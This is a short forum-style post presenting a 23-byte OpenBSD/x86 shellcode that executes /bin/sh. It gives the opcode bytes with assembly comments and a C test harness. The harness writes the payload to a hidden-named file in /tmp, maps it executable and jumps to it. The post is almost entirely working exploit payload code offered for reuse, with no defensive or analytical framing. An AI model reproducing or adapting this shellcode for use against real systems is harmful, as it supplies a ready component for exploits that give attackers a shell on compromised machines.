openbsd/x86 execve(/bin/sh) 23 bytes
文章作者：hophet[code]/*
* [OpenBSD/x86]
* Shellcode for: execve("/bin/sh", ["/bin/sh"], NULL)
* 23 bytes
* hophet [at] gmail.com
* [url]http://www.nlabs.com.br/~hophet/[/url]
*
* Fancy mappings by iruata souza (muzgo)
* iru.muzgo!gmail.com
* [url]http://openvms-rocks.com/~muzgo/[/url]
*/
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <err.h>
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
char shellcode[] =
"\x99" /* cltd */
"\x52" /* push %edx */
"\x68\x6e\x2f\x73\x68" /* push $0x68732f6e */
"\x68\x2f\x2f\x62\x69" /* push $0x69622f2f */
"\x89\xe3" /* mov %esp,%ebx */
"\x52" /* push %edx */
"\x54" /* push %esp */
"\x53" /* push %ebx */
"\x53" /* push %ebx */
"\x6a\x3b" /* push $0x3b */
"\x58" /* pop %eax */
"\xcd\x80"; /* int $0x80 */
/*
* Since shellcode above will be mapped in .rodata (read-only protection),
* we need to write it to a file and map the file with PROT_EXEC in order
* to execute it.
*/
int main(void)
{
void (*p)();
int fd;
fd=open("/tmp/. ", O_RDWR|O_CREAT, S_IRUSR|S_IWUSR);
if(fd < 0)
err(1, "open");
write(fd, shellcode, strlen(shellcode));
if((lseek(fd, 0L, SEEK_SET)) < 0)
err(1, "lseek");
p = (void (*)())mmap(NULL, strlen(shellcode), PROT_READ|PROT_EXEC, NULL, fd, NULL);
if (p == (void (*)())MAP_FAILED)
err(1, "mmap");
p();
return 0;
}[/code]
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